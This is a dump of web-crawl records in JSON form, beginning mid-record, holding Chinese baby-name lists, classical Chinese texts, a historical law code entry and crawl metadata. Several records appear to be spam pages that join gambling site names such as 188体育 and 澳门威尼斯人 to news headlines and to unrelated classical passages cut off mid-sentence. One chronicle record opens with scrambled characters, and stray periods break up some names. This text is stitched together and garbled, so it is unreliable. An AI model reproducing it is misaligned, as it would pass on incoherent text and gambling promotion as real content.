子 朱娉萱 朱建勋 朱柏轩 朱苹娣 朱元林 朱柏隽 朱联冠 朱时成 朱数码 朱年冠 朱连冠 朱众冠 朱大众 朱柏峰 朱众城 朱商城 朱新城 朱柏诚 朱秀江 朱珍翰 朱镜伊 朱红利 朱趁心 朱江华 朱丽亚 朱晶睫 朱天祎 朱晓凤 朱雪兰 朱 璠 朱翠云 朱政宇 朱 絮 朱松云 朱建奎 朱来成 朱翰卿 朱德帝 朱韵畅 朱俣霏 朱玉生 朱玉波 朱春波 朱昕昕 朱哲仁 朱思光 朱思嘉 朱军良 朱鹏竹 朱 虹 朱开友 朱政键 朱仁贤 朱珍键 朱承先 朱 挚 朱智宏 朱任贤 朱 致 朱承前 朱月柳 朱仁娴 朱任娴 朱聃丹 朱智丹 朱天尧 朱之丹 朱郑键 朱征键 朱倪萱 朱芝丹 朱真键 朱振键 朱震键 朱镇键 朱臻键 朱曰柳 朱绮璇 朱泊灿 朱泊灵 朱清语 朱清宇 朱江灵 朱竞辉 朱宝来 朱宝华 朱月磊 朱峰超 朱兆青 朱兆清 朱茂东 朱翔云 朱延鹏 朱飞云 朱继东 朱轩琦 朱轩琪 朱 靖 朱轩艺 朱占国 朱水源 朱晓晴 朱琊珌 朱凝萱 朱柠萱 朱净颦 朱嘉菱 朱维鑫 朱席萱 朱清萱 朱青萱 朱佩琪 朱岚萱 朱 森 朱雨墨 朱艾雯 朱吉涵 朱一涵 朱宝翔 朱宝羽 朱涟萱 朱晴萱 朱宝乐 朱芹萱 朱毅卿 朱爱静 朱婉萱 朱莞萱 朱宛萱 朱柳静 朱靖渲 朱秀静 朱 雷 朱晓丹 朱秀敏 朱玉丹 朱轶瞳 朱宝宇 朱华君 朱一洋 朱宝嘉 朱旭秋 朱哲涵 朱培秋 朱秋秋 朱泽昊 朱冰秋 朱昊涵 朱冬涵 朱赵涵 朱照涵 朱照昊 朱元智 朱元治 朱水平 朱赵宇 朱宇辉 朱孝涵 朱立东 朱立冬 朱惠奎 朱立博 朱赵伟 朱照伟 朱书磊 朱奕然 朱啊秋 朱赵冬 朱宇浩 朱宇昊 朱 照 朱羽昊 朱羽辉 朱鸿博 朱桀妤 朱书博 朱 博 朱泽宇 朱黄博 朱雍博 朱星宇 朱晨飞 朱东晓 朱耀煜 朱冬哓 朱照煜 朱赵煜 朱晏然 朱晏含 朱卿霖 朱永贵 朱照成 朱卿慧 朱珣乔 朱志辉 朱晓娇 朱清霖 朱宏铠 朱清林 朱蕴月 朱鹏程 朱蕴昊 朱卿蕙 朱照程 朱赵程 朱朋程 朱晓含 朱梓岳 朱梓萌 朱佳豪 朱耀宇 朱关明 朱嘉浩 朱书圃 朱袈昊 朱袈浩 朱妤桀 朱佳浩 朱家颢 朱殊明 朱建敏 朱根土 朱羿伟 朱宸阳 朱殊彤 朱茶香 朱关金 朱譬蓝 朱云龙 朱丽洪 朱爱兰 朱荑萱 朱正宜 朱浩虞 朱葛亮 朱玢萱 朱浩薇 朱浩毓 朱浩粤 朱思睿 朱金华 朱思屹 朱泽萌 朱轩磊 朱彦霖 朱晓平 朱鸿铭 朱浩妤 朱浩瑜 朱浩禹 朱晨彤 朱浩萸 朱乘均 朱汇君 朱浩钰 朱克伟 朱浩禾 朱成鑫 朱雪永 朱成君 朱成军 朱成杰 朱安群 朱浩岚 朱乐凡 朱丽霖 朱秋羽 朱忠海 朱浩璐 朱浩旻 朱俐姝 朱昶伊 朱俐舒 朱明明 朱舒舒 朱影君 朱桂强 朱运涛 朱凡宇 朱士宇 朱建阳 朱建秀 朱庆光 朱建平 朱 锐 朱 銮 朱庆生 朱万秀 朱荣进 朱 欣 朱锡峰 朱欣然 朱 敏 朱 劲 朱宁远 朱子昂 朱卫忠 朱美兰 朱臣煜 朱俊臣 朱晟煜 朱俊煜 朱鑫磊 朱 江 朱子家 朱禹臣 朱思敏 朱国贞 朱研昊 朱鑫水 朱庭翰 朱研浩 朱颜浩 朱颜昊 朱严浩 朱严皓 朱彦博 朱坚盛 朱宇凡 朱宇博 朱彦皓 朱宇昌 朱相臣 朱秋龙 朱国印 朱珩光 朱言号 朱研灏 朱研皓","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/m.xingzuo123.com\/xingming\/nanhai\/35521.html","date":"2018-03-24T23:49:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257651465.90\/warc\/CC-MAIN-20180324225928-20180325005928-00147.warc.gz","language":"lzh","language_score":0.4511325955,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.451132595539093, \"wuu_Hani_score\": 0.2729354202747345, \"cmn_Hani_score\": 0.2558101415634155, \"nan_Hani_score\": 0.018996939063072205}","num_words":2106,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.285,"stopwords_ratio":0.002,"flagged_words_ratio":0.0,"lang_id_score":0.457,"perplexity_score":500.0,"cluster_detection":1} +{"text":"跳到主文\n部落格全站分類:圖文創作\n子曰。書不盡言,言不盡意。然則聖人之意。其不可見乎。子曰。聖人立象以盡意。設卦以盡情偽。繫詞焉以盡其言。\n變而通之以盡利。鼓之舞之以盡神。乾坤其易之蘊邪。乾坤成列。而易立乎其中矣。乾坤毀則無以見易。易不可見。則乾坤或幾乎息矣。\n是故形而上者謂之道。形而下者謂之器。化而裁之謂之變。推而行之謂之通。舉而措之天下之民謂之事業。\n阿捷JS 發表在 痞客邦 留言(0) 人氣()","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/ajonathan.pixnet.net\/blog\/archives\/201111","date":"2018-11-18T21:24:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039744649.77\/warc\/CC-MAIN-20181118201101-20181118223101-00556.warc.gz","language":"lzh","language_score":0.7250846624,"language_script":"Hani","minhash_cluster_size":11,"top_langs":"{\"lzh_Hani_score\": 0.725084662437439, \"cmn_Hani_score\": 0.23176972568035126, \"jpn_Jpan_score\": 0.022078344598412514}","num_words":10,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.187,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.681,"perplexity_score":500.0,"cluster_detection":1} +{"text":"第340條 毆大功以下尊長\n1. 凡卑幼毆本宗及外姻緦麻兄姊 杖一百 小功 杖六十徒一年 大功 杖七十徒一年半 尊屬 又各加一等① 折傷以上 各遞加凡鬪傷一等 篤疾者 絞 死者 斬.\n2. 若尊長毆卑幼 非折傷勿論 至折傷以上 緦麻減凡人一等 小功減二等 大功減三等 至死者 絞 其毆殺同堂弟妹堂姪及姪孫者 杖一百流三千里 故殺者 絞.\n① 尊屬 與父母同輩者 如同堂伯叔父母姑及母舅母姨之類.\n〔直解〕\n凡族下亦 同姓及異姓緦麻兄果 姊果乙 犯打爲在乙良 杖一百 小功是去等 杖六十徒一年 大功是去等 杖七十徒一年半 尊屬是去等 各加一等\n尊屬段 父母以 同等爲在 同姓伯叔父及妻果 父之姊妹 及母矣 娚果 母矣 姊之類\n折傷以上乙良 凡鬪傷例良中 各遞加一等齊 篤疾成病爲去等 絞死齊 致死者乙良 斬 ○族長亦 族下乙 毆打爲遣 折傷不喩去等 勿論齊 折傷以上乙良 緦麻去等 凡人例良中 減一等齊 小功去等 減二等 大功是去等 減三等齊 致死爲在乙良 絞死齊 同姓四寸弟妹果 同姓五寸姪及姪孫等乙 毆打殺死爲在乙良 杖一百遠流齊 故殺者 絞死.","id":"","dump":"CC-MAIN-2019-43","url":"http:\/\/db.history.go.kr\/law\/item\/level.do?levelId=jlawb_170_0200_0010_0160","date":"2019-10-17T22:46:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986677230.18\/warc\/CC-MAIN-20191017222820-20191018010320-00364.warc.gz","language":"lzh","language_score":0.8457145095,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.8457145094871521, \"cmn_Hani_score\": 0.08515466004610062, \"nan_Hani_score\": 0.05771039053797722}","num_words":81,"character_repetition_ratio":0.013,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.846,"perplexity_score":500.0,"cluster_detection":1} +{"text":"188体育网址美国疾控中心主任Redfield:目前美国冠状病毒风险处于低位\n自古受命而王,王者之兴何尝不以卜筮决於天命哉!其於周尤甚,及秦可见。代王之入,任於卜者。太卜之起,由汉兴而有。\n世有大人兮,在于中州。宅弥万里兮,曾不足以少留。悲世俗之迫隘兮,朅轻举而远游。垂绛幡之素蜺兮,载云气而上浮。建格泽之长竿兮,总光耀之采旄。垂旬始以为幓兮,抴彗星而为髾。掉指桥以偃蹇兮,又旖旎以招摇。揽欃枪以为旌兮,靡屈虹而为绸。红杳渺以眩湣兮,猋风涌而云浮。驾应龙象舆之蠖略逶丽兮,骖赤螭青虬之鞮蟉蜿蜒。低卬夭蟜据以骄骜兮,诎折隆穷蠼以连卷沛艾赳螑仡以佁儗兮,放散畔岸骧以孱颜。跮踱輵辖容以委丽兮,绸缪偃蹇怵鞨以梁倚。纠蓼叫奡蹋以艐路兮,蔑蒙踊跃腾而狂趡。莅飒卉翕熛至电过兮,焕然雾除,霍然云消。\n大馀十七,小馀六百三十四;大馀二十七,无小馀;\n子曰:\"盖有不知而作之者,我无是也。多闻,择其善者而从之;多见而识之,知之次也。\"\n聂政者,轵深井里人也。杀人避仇,与母、姊如齐,以屠为事。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/8ng4h.prurealtyhome.com\/GKARK19557.html","date":"2020-02-29T06:29:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875148671.99\/warc\/CC-MAIN-20200229053151-20200229083151-00111.warc.gz","language":"lzh","language_score":0.3888581991,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.38885819911956787, \"cmn_Hani_score\": 0.30778416991233826, \"nan_Hani_score\": 0.15387499332427979, \"wuu_Hani_score\": 0.03731421008706093, \"yue_Hani_score\": 0.017492344602942467, \"jpn_Jpan_score\": 0.013921490870416164, \"und_Cyrl_score\": 0.010645858012139797}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.42,"perplexity_score":500.0,"cluster_detection":1} +{"text":"澳门威尼斯人地址云游戏或成5G时代杀手级应用两条主线挖掘投资机会\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮\n臣不佞,不能奉承王命,以顺左右之心,恐伤先王之明,有害足下之义,故遁逃走赵。今足下使人数之以罪,臣恐侍御者不察先王之所以畜幸臣之理,又不白臣之所以事先王之心,故敢以书对。\n小沛离徐州只四五十里,上马便到。吕布到城下时,恰才四更,月色澄清,城上更不知觉。布到城门边叫曰:\"刘使君有机密使人至。\"城上有曹豹军报知曹豹,豹上城看之,便令军士开门。吕布一声暗号。众军齐入,喊声大举。张飞正醉卧府中,左右急忙摇醒,报说:\"吕布赚开城门,杀将进来了!\"张飞大怒,慌忙披挂,绰了丈八蛇矛;才出府门上得马时,吕布军马已到,正与相迎。张飞此时酒犹未醒,不能力战。吕布素知飞勇,亦不敢相逼。十八骑燕将,保着张飞,杀出东门,玄德家眷在府中,都不及顾了。\n却说郭汜引败军回,撞着李傕,言:\"杨\n昭襄王享国五十六年。葬茝阳。生孝文王。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/xjpky.1800mytrades.com\/HPZKX43609.html","date":"2020-02-27T14:17:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146714.29\/warc\/CC-MAIN-20200227125512-20200227155512-00513.warc.gz","language":"lzh","language_score":0.4516334534,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4516334533691406, \"cmn_Hani_score\": 0.30617883801460266, \"nan_Hani_score\": 0.11502541601657867, \"wuu_Hani_score\": 0.020563507452607155, \"yue_Hani_score\": 0.01535150408744812, \"zxx_Latn_score\": 0.013474814593791962}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.172,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.373,"perplexity_score":500.0,"cluster_detection":1} +{"text":"龙八国际市监总局谈个体工商户经营困难鼓励为租户减免租金\n桓公元年,郑以璧易天子之许田。二年,以宋之赂鼎入於太庙,君子讥之。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有\n哀公问曰:\"何为则民服?\"孔子对曰:\"举直错诸枉,则民服;举枉错诸直,则民不服。\"\n驹黄牛羝羊各一云。其後十六年,秦文公东猎汧渭之间,卜居之而吉。文公梦黄蛇自天下属地,其口止於鄜衍。文公问史敦,敦曰:\"此上帝之徵,君其祠之。\"於是作鄜畤,用三牲郊祭白帝焉。\n邦巽字子敛。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/o8qar.zhangqinglan6.cn\/SDBIN46318.html","date":"2020-02-27T23:09:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146907.86\/warc\/CC-MAIN-20200227221724-20200228011724-00077.warc.gz","language":"lzh","language_score":0.6087574363,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6087574362754822, \"cmn_Hani_score\": 0.2582823932170868, \"nan_Hani_score\": 0.0735497698187828, \"wuu_Hani_score\": 0.010133640840649605}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.526,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10bet中金地方债及企业贷款放量推动新增社融超5万亿元\n康公享国十二年。居雍高寝。葬竘社。生共公。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原\n当此时,晋彊,西有河西,与秦接境,北边翟,东至河内。\n十一月乙酉,柏梁灾。十二月甲午朔,上亲禅高里,祠后土。临渤海,将以望祠蓬莱之属,冀至殊庭焉。\n乡人饮酒,杖者出,斯出矣。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/oxwip.miyousc.com\/Meizu\/UUCPS63458.html","date":"2020-02-21T18:23:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145534.11\/warc\/CC-MAIN-20200221172509-20200221202509-00079.warc.gz","language":"lzh","language_score":0.5456527472,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5456527471542358, \"cmn_Hani_score\": 0.18407213687896729, \"nan_Hani_score\": 0.16830264031887054, \"yue_Hani_score\": 0.016987478360533714}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.188,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.543,"perplexity_score":500.0,"cluster_detection":1} +{"text":"唐姓起名,唐姓起名字大全:唐姓父母您正在为。给您的小宝宝取一。个吉祥如意、喻意深远的名字而绞尽脑汁吗?我们在给唐姓宝宝起名字时,一定要注意选择那些字义和寓意都很美好的字眼,避免使。用一些。不雅、不吉、冷僻和容易产生歧义的字。起名网通过搜集和整理为您。准。备了为你精心准备了唐姓起名字大全(唐姓男孩起名字大全,唐姓女孩起名字大全),供您参考使用,希望能对您起名有所帮助!\n唐姓男孩起名字大全\n唐姗宁 唐奕波 唐卓宁 唐恺乐 唐宋 唐倬宁 唐硕遥 唐笔员 唐续。研 。 唐术研 唐卓佳 唐智旋 唐采翎 唐彩翎 唐卓遥 唐彩云 唐安。淇 唐睿遥 唐振。钧 唐娉宁 唐碧睿 唐畅睿 唐梦遥 唐语娇 唐矫 唐浩鑫。 唐艺凡 唐瑞齐 唐碧遥 。 唐东初 唐。芮萁 。 唐道刚 唐亚岭 唐锦鹏 唐树生 唐树云 唐愉靖 唐崇乔 唐珑芯 唐思思 唐雨雷 唐丽霜 唐艺芸 唐文兵 唐晓晶 唐兴宏 唐君芷 唐莺墁 唐东群 唐文静 唐。雪岳 唐靓 。 唐仲蔚 唐渝儿 唐晓渝 唐小渝 唐伟成 唐梓淇 唐建清 唐佑辉 唐炜 。 唐仁华 唐一轩 唐研 。 唐仁江 唐明睿 唐行刚 唐崃 唐子强 。 唐令。婉 唐令策 唐令童 唐海生 唐睿嘉 唐睿佳 唐昭林 唐召林 唐圣松 唐牛 唐艺豪 唐盛松 唐艺轩 唐艺宣 唐艺航 唐锡应 唐芳敏 唐伦海 唐能海 唐优 唐晶精 唐精 。 唐壹一 唐一意 唐言 唐梨 唐酥 唐甸泉 唐嫒宁 唐甸。龙 唐甸隆 唐酆宁 唐馨宁 唐鳢宁 唐宁麝 唐麝宁 唐颦宁 唐麒宁 唐影宁 唐丁。宁 唐宁一 唐宁儿 唐宁璨 唐旌宁 唐铢宁 唐雅歆 唐歆雅 唐骞歆 唐安明 唐明安 唐平安 唐筱。 唐筱欣 唐筱歆 唐小强 唐毓椿 唐铷宁 唐一宁 唐乙宁 唐力行 唐建华 唐椿 唐家骐 唐智超 。 唐承义 唐乐旦 。 唐美基 唐庆君 唐嘉宁 唐泽奇 唐孝吉 唐真 唐礼升 唐兰段 唐娇娈 唐屹弘 。 唐渝姗 唐吉彬 唐。临 唐越城 唐天南 唐光懿 唐地杰 唐步坚 唐一尹 唐寒儒 唐中原 唐学尧 唐阿县 唐万军 唐云生 。 唐昕恬 唐馨甜 唐刚 唐慧鑫 唐弈君 唐。慧甜 唐玉萌 唐如宇 唐雪银 唐奕筠 唐丽儒 唐丽。如 唐诗琪 唐金华 。 唐浩然 唐增先 唐恬甜 唐雪萌 唐宁倬 唐宁宁 唐浩铭 唐明郡 唐宁嫱 唐宁如 唐宁姗\n您还可以查看更多的唐姓男孩起名字大全\n唐姓女孩起名字大全\n唐倩怡 唐保玲 唐懿婷 唐碧霞 唐少文 唐作红 唐诚文 唐悦辉 唐盈洁 唐安冉 唐颖雪 唐杰颖 唐婧乔 唐合玉 唐学玉 。 唐兴艳 唐炜英 唐楚瑶 唐伟红 唐召怡 。 唐倩盈 唐家颖 唐茜莹 唐倩莹 唐芸萍 唐铭萍 唐铭娟 。 唐秋玉 唐铭艳 唐淑芬 唐建红 唐苏萍 唐秀怡 唐媛莉 唐汇娟 唐显蓉 唐子琴 唐香琴 唐乙蓉 唐孝美 唐素文 唐孝梅 唐娟娟 唐娟丽 唐秉芳 唐屏芳 唐兵芳 唐槟芳 唐豳芳 唐彬芳 唐冰芳 唐镔芳 唐韶文 唐化芬 唐雅红 唐育琼 唐湘文 唐慧冉 唐妤悦 唐妤秀 唐贵蓉 唐洁文 唐香玉 唐太琼 唐汇萍 唐尹娅 唐汇英 唐元琳 唐赛。文 唐丽蓉 唐恒燕 唐昕妍 唐雅媛 唐雅娟 唐婕琼 唐凤妹 唐天。妹 唐水妹 唐好妹 唐臣英 唐云妹 唐二妹 唐雨妹 唐妹雨 唐龙花 唐美雪 唐莉伟 。 唐剑茹 唐显莉 唐洋洁 唐雨莹 唐樱萍 唐樱芳 唐樱玉 唐若梅 唐炎丽 唐琳鑫 唐碧文 唐利芳 唐瑛利 唐英莉 唐绘丽 唐丹莉 唐桂玲 唐平丽 唐春妍 唐梅。娟 唐芳蓉 唐艺颖 唐小芬 唐楚嫣 唐官艳 唐静芬 唐艺娟 唐友琴 唐培英 唐伟娟 唐娉燕 唐玲。莉 唐承花 唐娅紫 唐娅资 唐浏英 唐文倩 唐碧娟 唐冰雪 唐千悦 唐守红 唐玲利 唐贵红 唐轩颖 唐湘莹 唐四妹 唐阿琳 唐志燕 唐妍筝 唐妍彬 唐苛文 唐三洁 唐妍旭。 唐莉。明 唐夕琳 唐唯琴 唐雪妹 唐安倩 唐喜芳 唐凤雪 唐芯琼 唐淑燕 唐曦琴 唐曦悦 唐琳骄 唐聆文 唐玲洇 唐樱妍 唐会玲 唐娅晶。 唐之琳 唐荷妹 唐煜琳 唐琳芸 唐琳珊 唐樱洁 唐顺洁 唐顺娜 唐蓓娜 唐樱琳 唐平瑶 唐平婷 唐平娜 唐倩坤 唐维霞 唐茜娟 唐依蓉 唐维琳 唐琳虹 唐莹爱 唐。宇琳 唐宇瑶 唐川芬 唐远萍 唐洛怡 唐荭玉 唐凌倩 。 唐夕玲 唐瑜玲 唐祖玉 唐伊婷 唐行文 唐环玲 唐菊霞 唐晓芬 唐瑛矫 唐嘉雪 唐悦畅 唐均梅 唐春瑛 唐娅云 唐玲静 唐桐英\n您还可以查看更多的唐姓女孩起名字大全\n以上就是起名。网免费取名为你准备的唐姓起名字大全的详细解。答.....您还可以连接起名字大全了解更多!","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/www.xyhongyu.cn\/baijiaxing\/3661.html","date":"2020-02-21T06:35:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145443.63\/warc\/CC-MAIN-20200221045555-20200221075555-00441.warc.gz","language":"lzh","language_score":0.5112586021,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.511258602142334, \"wuu_Hani_score\": 0.3844975531101227, \"cmn_Hani_score\": 0.09183420985937119}","num_words":391,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.259,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.532,"perplexity_score":500.0,"cluster_detection":1} +{"text":"火凤游戏平台保利置业子公司济南违法遭罚项目未按规定设计招标\n十八年,襄公卒,子悼公\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n後五年,伐越。越王句践迎击,败吴於姑苏,伤阖庐指,军卻。阖庐病创将死,谓太子夫差曰:\"尔忘句践杀尔父乎?\"夫差对曰:\"不敢忘。\"是夕,阖庐死。夫差既立为王,以伯嚭为太宰,习战射。二年後伐越,败越於夫湫。越王句践乃以馀兵五千人栖於会稽之上,使大夫种厚币遗吴太宰嚭以请和,求委国为臣妾。吴王将许之。伍子胥谏曰:\"越王为人能辛苦。今王不灭,後必悔之。\"吴王不听,用太宰嚭计,与越平。\n孝惠二年,相国何卒,谥为文终侯。\n泗水思王商,以元鼎四年用常山宪王子为泗水王。十一年卒,子哀王安世立。十一年卒,无子。於是上怜泗水王绝,乃立安世弟贺为泗水王。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/tyxcq.zhenshi66.com\/kzmnn\/","date":"2020-04-08T15:23:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371818008.97\/warc\/CC-MAIN-20200408135412-20200408165912-00318.warc.gz","language":"lzh","language_score":0.4205182195,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4205182194709778, \"cmn_Hani_score\": 0.3173515200614929, \"wuu_Hani_score\": 0.08070831745862961, \"nan_Hani_score\": 0.07181710004806519, \"yue_Hani_score\": 0.01618052087724209, \"jpn_Jpan_score\": 0.014535038731992245, \"zxx_Latn_score\": 0.012922542169690132}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.405,"perplexity_score":500.0,"cluster_detection":1} +{"text":"通鑑 - 周記 威烈王 戊寅 二十三年虔侯 初子鐸陽乎乎哉鐸數國難 而少遠歸卒 政子邑 悅子邑 伯子子與怒甲氏 出乎 子近城完民之 之我庫宲澤之 之我乎也 也矣 陽家人之版䆴意談 出臣寒伯趙矣 談之人水軍乱之卒前众伯族子頭器讓仇人首中厠厠之讓之也 耳之癩啞市妻也 之才孟幸爲耶此可臣之也 者極耳然者也出下橋驚讓之 者也候方師廬式士 之臣雨野日 권지일주기卷之一周紀 威烈王(위렬왕)은: 在位二十四年(재위이십사년)하다: 戊寅二十三年(무인이십삼년)이라: 初命晋大夫魏斯趙籍韓虔(초명진대부위사조적한건)하여: 爲諸侯(위제후)하다: 初趙簡子使尹鐸(초조간자사윤탁)으로: 爲晋陽(위진양)한대: 請曰以爲繭絲乎(청왈이위견사호)잇가: 抑爲保障乎(억위보장호)잇가: 簡子曰保障哉(간자왈보장재)인저: 尹鐸(윤탁)이: 損其戶數(손기호수)하다: 簡子謂無恤曰晋國(간자위무휼왈진국)에..","id":"","dump":"CC-MAIN-2021-04","url":"http:\/\/blog.daum.net\/win690\/archive\/20201110","date":"2021-01-21T02:50:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703522150.18\/warc\/CC-MAIN-20210121004224-20210121034224-00726.warc.gz","language":"lzh","language_score":0.7207548618,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.720754861831665, \"cmn_Hani_score\": 0.167365163564682, \"jpn_Jpan_score\": 0.061928633600473404, \"wuu_Hani_score\": 0.02751591056585312, \"nan_Hani_score\": 0.01762343756854534}","num_words":37,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.2,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.721,"perplexity_score":500.0,"cluster_detection":1} +{"text":"500个好听的王姓真字辈男孩女孩名字大全王真锐 王真杭 王真广 王真弓 王真岸 王真子 王真荣 王真豪 王真冷 王真梭王真生 王真境 王真克 王真积 王真邦 王真询 王真圆 王真机 王真凤 王真细王真论 王真义 王真推 王真合 王真波 王真恩 王真劲 王真宏 王真奋 王真翟王真亲 王真顺 王真东 王真略 王真才 王真似 王真潮 王真满 王真再 王真定王真皓 王真尊 王真绩 王真谨 王真晨 王真峙 王真瞑 王真洪 王真易 王真维王真本 王真厚 王真路 王真月 王真传 王真尽 王真港 王真童 王真金 王真意王真君 王真瑞 王真悠 王真都 王真淡 王真絮 王真然 王真卫 王真万 王真海王真昙 王真沛 王真苑 王真任 王真等 王真芭 王真雨 王真鱼 王真钦 王真矣王真安 王真清 王真惟 王真怒 王真耕 王真城 王真轻 王真泊 王真龙 王真谦王真果 王真气 王真住 王真奔 王真顾 王真砂 王真视 王真疏 王真蝶 王真锋王真当 王真裕 王真展 王真去 王真光 王真迈 王真长 王真理 王真会 王真级王真民 王真叶 王真繁 王真泉 王真行 王真辉 王真话 王真介 王真深 王真辰王真福 王真嘤 王真汶 王真庆 王真和 王真悬 王真随 王真坦 王真震 王真铁王真木 王真无 王真藏 王真妙 王真后 王真既 王真临 王真游 王真若 王真正王真森 王真价 王真约 王真娜 王真活 王真觅 王真浩 王真臣 王真捷 王真绿王真极 王真廓 王真誉 王真阔 王真激 王真离 